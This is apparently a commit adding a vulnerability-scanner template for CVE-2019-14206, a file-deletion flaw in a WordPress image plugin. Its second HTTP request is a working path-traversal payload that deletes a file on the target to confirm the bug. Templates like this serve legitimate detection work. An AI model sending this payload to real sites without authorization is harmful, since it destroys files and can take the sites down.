Add CVE-2019-14206 detection template

http/cves/2019/CVE-2019-14206.yaml

@@ -0,0 +1,60 @@
+id: CVE-2019-14206
+
+info:
+  name: Nevma Adaptive Images < 0.6.67 - Arbitrary File Deletion
+  author: KrE80r
+  severity: critical
+  description: |
+    Nevma Adaptive Images plugin before 0.6.67 for WordPress allows unauthenticated arbitrary file deletion via unsanitized 'adaptive-images-settings' array parameters. The plugin accepts user-controlled source_file, wp_content, cache_dir, and request_uri values without validation, enabling path traversal to delete arbitrary files.
+
+    Deletion requires source_file timestamp > target timestamp. Attackers use recently uploaded media or modified files (like .htaccess) as source_file.
+  impact: |
+    Unauthenticated attackers can delete arbitrary files on the server, potentially causing denial of service by removing critical files like wp-config.php.
+  remediation: Update to version 0.6.67 or later, or remove the plugin.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-14206
+    - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html
+    - https://wpscan.com/vulnerability/9868
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
+    cvss-score: 9.1
+    cve-id: CVE-2019-14206
+    cwe-id: CWE-22
+    epss-score: 0.00393
+    epss-percentile: 0.71051
+    cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: nevma
+    product: adaptive_images
+    framework: wordpress
+    publicwww-query: "/wp-content/plugins/adaptive-images/"
+  tags: cve,cve2019,wordpress,wp-plugin,file-deletion,adaptive-images,nevma,path-traversal
+
+http:
+  - raw:
+      # Request 1: Verify plugin readme.txt exists
+      - |
+        GET /wp-content/plugins/adaptive-images/readme.txt HTTP/1.1
+        Host: {{Hostname}}
+
+      # Request 2: Trigger file deletion using /tmp directory as source_file
+      # /tmp mtime updates on any file creation (PHP sessions, uploads, temp files)
+      # Always recent on active servers - filemtime() works on directories
+      - |
+        GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?resolution=480&adaptive-images-settings%5Bsource_file%5D=/tmp&adaptive-images-settings%5Bresolution%5D=&adaptive-images-settings%5Bwp_content%5D=/var/www/html/wp-content&adaptive-images-settings%5Bcache_dir%5D=.&adaptive-images-settings%5Brequest_uri%5D=plugins/adaptive-images/readme.txt&adaptive-images-settings%5Bwatch_cache%5D=1 HTTP/1.1
+        Host: {{Hostname}}
+
+      # Request 3: Verify readme.txt was deleted
+      - |
+        GET /wp-content/plugins/adaptive-images/readme.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_1 == 200"
+          - "status_code_3 != 200"
+        condition: and